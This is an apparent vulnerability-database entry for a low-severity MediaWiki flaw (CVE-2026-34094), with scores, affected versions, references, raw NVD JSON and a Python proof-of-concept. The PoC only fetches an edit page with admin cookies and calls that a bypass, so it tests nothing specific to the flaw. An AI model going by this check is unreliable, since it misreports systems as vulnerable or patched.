CVE-2026-34094

Description

Vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files includes/Page/Article.Php. This issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2.

CVSS Details

CVSS Score

3.8

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:* - VULNERABLE

MediaWiki < 1.43.7

MediaWiki < 1.44.4

MediaWiki < 1.45.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
PoC for CVE-2026-34094 (MediaWiki Article.php Vulnerability)
This script demonstrates a potential check for the logic flaw.
Note: Requires valid high-privilege session cookies.
"""
import requests

def check_vulnerability(target, session_cookie):
    url = f"{target}/index.php"
    headers = {"Cookie": session_cookie}
    # Crafted payload targeting Article.php logic
    params = {
        "title": "Special:Random",
        "action": "edit"
    }
    
    try:
        response = requests.get(url, params=params, headers=headers, timeout=10)
        if response.status_code == 200 and "editform" in response.text:
            return "Potential vulnerability detected (Bypass possible)."
        else:
            return "Target appears patched or not vulnerable."
    except Exception as e:
        return f"Error connecting to target: {e}"

if __name__ == "__main__":
    # Replace with actual target and admin cookie
    print(check_vulnerability("http://localhost/mediawiki", "admin_session=xyz"))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34094
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34094
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34094/
[4] VulDB https://vuldb.com/cve/CVE-2026-34094
[5] https://phabricator.wikimedia.org/T416090

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34094", "sourceIdentifier": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "published": "2026-05-11T18:16:32.100", "lastModified": "2026-05-18T13:50:10.633", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in Wikimedia Foundation MediaWiki.\n\n This vulnerability is associated with program files includes/Page/Article.Php.\n\n\n\nThis issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2."}], "metrics": {"cvssMetricV40": [{"source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-668"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.43.7", "matchCriteriaId": "59C361A8-E45E-4DF3-8E0D-C757AD96B8BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.44.0", "versionEndExcluding": "1.44.4", "matchCriteriaId": "09939AF0-D092-467E-8596-280E4E48EAC4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.45.0", "versionEndExcluding": "1.45.2", "matchCriteriaId": "394E8364-3B3F-41C7-B1C3-0A1867EF3D64"}]}]}], "references": [{"url": "https://phabricator.wikimedia.org/T416090", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Issue Tracking", "Vendor Advisory", "Patch"]}]}}